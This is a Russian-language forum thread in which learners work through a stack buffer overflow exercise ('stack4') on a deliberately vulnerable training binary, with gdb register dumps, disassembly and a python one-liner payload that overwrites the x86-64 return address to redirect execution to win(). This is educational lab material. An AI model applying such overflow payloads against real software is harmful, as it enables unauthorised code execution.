Локальные переменные и аргументы функций записываются относительно регистра EBP, локальная переменная которая лежит выше это EBP-4 еще выше это EBP-8 (уменьшается еще на 4) Если обращаться к аргументам это +8 +16 зависимости от размера... Дополнительно почитать о стеке можно .
вот почему -4 и -8 или +16. компьютерное слово = 4 байта. точно.

для того чтобы подсунуть в регистр EIP нужный нам адрес, а именно адрес функции win(), нам надо переполнить буфер таким образом, чтобы перезаписать адрес возврата (RET)
*пишет конспект*

М

Мне не совсем понятен твой вопрос. Но попробую на него ответить.

Если я правильно вас понял, вопрос звучит так. Почему 77 байт нужно для того чтобы дотянутся до EIP ? чтобы его перезаписать ? Когда буфер всего лишь имеет 64 байта.

Да было выделено место программистом на 64 байта, массив. Когда собрали программу, т.е. скомпилировали там, компилятор выделил дополнительное место. Некую прослойку. Поэтому в сумме получилось такое-то значение.

Компилятор сам решает каждый раз по разному как ему поступить. И ск выделить места дополнительного. Такая уж у него прихоть.
стоп. так а как тогда работают эксплоиты с того же 0-day.today ?
если одна и та же программа скомпиленная дважды на разных серверах будет иметь разные диапазоны?

C-подобный:
Starting program: /var/hack/C/stack4 ./stack4
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4A

Program received signal SIGSEGV, Segmentation fault.
0x000055555555517e in main (argc=2, argv=0x7fffffffe378) at stack4.c:18
18    }
(gdb) i r
rax            0x0                 0
rbx            0x0                 0
rcx            0x7ffff7fb9a00      140737353849344
rdx            0x7ffff7fbc590      140737353860496
rsi            0x5555555592a1      93824992252577
rdi            0x7fffffffe251      140737488347729
rbp            0x3363413263413163  0x3363413263413163
rsp            0x7fffffffe298      0x7fffffffe298
r8             0x7fffffffe250      140737488347728
r9             0x7fffffffe280      140737488347776
r10            0x410               1040
r11            0x7fffffffe340      140737488347968
r12            0x555555555060      93824992235616
r13            0x7fffffffe370      140737488348016
r14            0x0                 0
r15            0x0                 0
rip            0x55555555517e      0x55555555517e <main+38>
eflags         0x10246             [ PF ZF IF RF ]
cs             0xe033              57395
ss             0xe02b              57387
ds             0x0                 0
es             0x0                 0
fs             0x0                 0
gs             0x0                 0
(gdb)
И видим, что по мимо регистра EIP так же перезаписалось значение регистра EBP.
у меня вопрос, почему на х64 не происходит перезаписи $RIP хоть убей? как эксплуатировать

точка останова стоит на gets()
C-подобный:
(gdb) disassemble main
Dump of assembler code for function main:
   0x0000555555555158 <+0>:    push   rbp
   0x0000555555555159 <+1>:    mov    rbp,rsp
   0x000055555555515c <+4>:    sub    rsp,0x50
   0x0000555555555160 <+8>:    mov    DWORD PTR [rbp-0x44],edi
   0x0000555555555163 <+11>:    mov    QWORD PTR [rbp-0x50],rsi
=> 0x0000555555555167 <+15>:    lea    rax,[rbp-0x40]
   0x000055555555516b <+19>:    mov    rdi,rax
   0x000055555555516e <+22>:    mov    eax,0x0
   0x0000555555555173 <+27>:    call   0x555555555040 <gets@plt>
   0x0000555555555178 <+32>:    mov    eax,0x0
   0x000055555555517d <+37>:    leave
   0x000055555555517e <+38>:    ret 
End of assembler dump.
(gdb) x/i 0x0000555555555167
=> 0x555555555167 <main+15>:    lea    rax,[rbp-0x40]
(gdb) x/i 0x0000555555555168
   0x555555555168 <main+16>:    lea    eax,[rbp-0x40]
(gdb) x/i 0x0000555555555169
   0x555555555169 <main+17>:    rex.RB ror BYTE PTR [r8-0x77],0xc7
(gdb) x/i 0x000055555555516a
   0x55555555516a <main+18>:    ror    BYTE PTR [rax-0x77],0xc7
(gdb) x/i 0x000055555555516b
   0x55555555516b <main+19>:    mov    rdi,rax
(gdb) x/i 0x000055555555516c
   0x55555555516c <main+20>:    mov    edi,eax
(gdb) x/i 0x000055555555516d
   0x55555555516d <main+21>:    (bad)
(gdb)

разбираю по блочно все инструкции и ставлю точку останова на каждой из них:

C-подобный:
(gdb) i b
Num     Type           Disp Enb Address            What
1       breakpoint     keep y   0x0000555555555167 in main at stack4.c:17
    breakpoint already hit 1 time
2       breakpoint     keep y   0x0000555555555167 in main at stack4.c:17
    breakpoint already hit 1 time
3       breakpoint     keep y   0x0000555555555168 in main at stack4.c:17
4       breakpoint     keep y   0x0000555555555169 in main at stack4.c:17
5       breakpoint     keep y   0x000055555555516a in main at stack4.c:17
6       breakpoint     keep y   0x000055555555516b in main at stack4.c:17
7       breakpoint     keep y   0x000055555555516c in main at stack4.c:17
8       breakpoint     keep y   0x000055555555516d in main at stack4.c:17
9       breakpoint     keep y   0x0000555555555170 in main at stack4.c:17

(gdb) continue
C-подобный:
Continuing.
Breakpoint 6, 0x000055555555516b in main (argc=1, argv=0x7fffffffe388) at stack4.c:17


в итоге что stepi что nexti уходит куда-то в никуда, а при команде continue - вылетает сегфаулт. и собственно говоря $RIP не перезаписан, а $RBP с оффсетом 64

что я делаю не так?
 

swagcat228

Заблокирован
19.12.2019
341
86
BIT
0
вопрос, почему:
(gdb) x/i $rax
0x7fffffffe250: add BYTE PTR [rax],al

но:
(gdb) x/x $rax
0x7fffffffe250: 0x00000000

наверное это будет самый смешной вопрос в истории эксплоитинга.
Как передать нуль-байт во время считывания ввода программой в гдб после запуска run ?
Starting program: /var/hack/C/stack4 AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPEQUUUU\x00\x00 Program received signal SIGSEGV, Segmentation fault. 0x00003030785c3030 in ?? ()

все равно не хочет(


передал.
Starting program: /var/hack/C/stack4 ./stack4 < ./s
Program received signal SIGSEGV, Segmentation fault.
rbp 0x555555555145 0x555555555145 <win>
rip 0x7ffff7e26b00 0x7ffff7e26b00 <__libc_start_main+48>

Objective-C:
root@server:/var/hack/C# python -c "print '\x41' * 64 + '\x42' * 8 + '\x00\x00\x55\x55\x55\x55\x51\x45'[::-1]" > ./win.txt

root@server:/var/hack/C# gcc -g stack4.c -o stack4


/var/hack/C/stack4.c:17: warning: the `gets' function is dangerous and should not be used.

root@server:/var/hack/C# gdb -q ./stack4

Reading symbols from ./stack4...

(gdb) run ./stack4 < ./win.txt

Starting program: /var/hack/C/stack4 ./stack4 < ./win.txt

code flow successfully changed


Program received signal SIGSEGV, Segmentation fault.

0x0000000000000000 in ?? ()

(gdb)
Вухуу!

парни, кто на х64 будет делать - я очень долго не мог разобраться почему не перезаписывается $RIP
оказалось, что он как-то по хитрому перезаписывается. находится он на +8 от $RBP и занимает тоже 8
 
Мы в соцсетях:

Обучение наступательной кибербезопасности в игровой форме. Начать игру!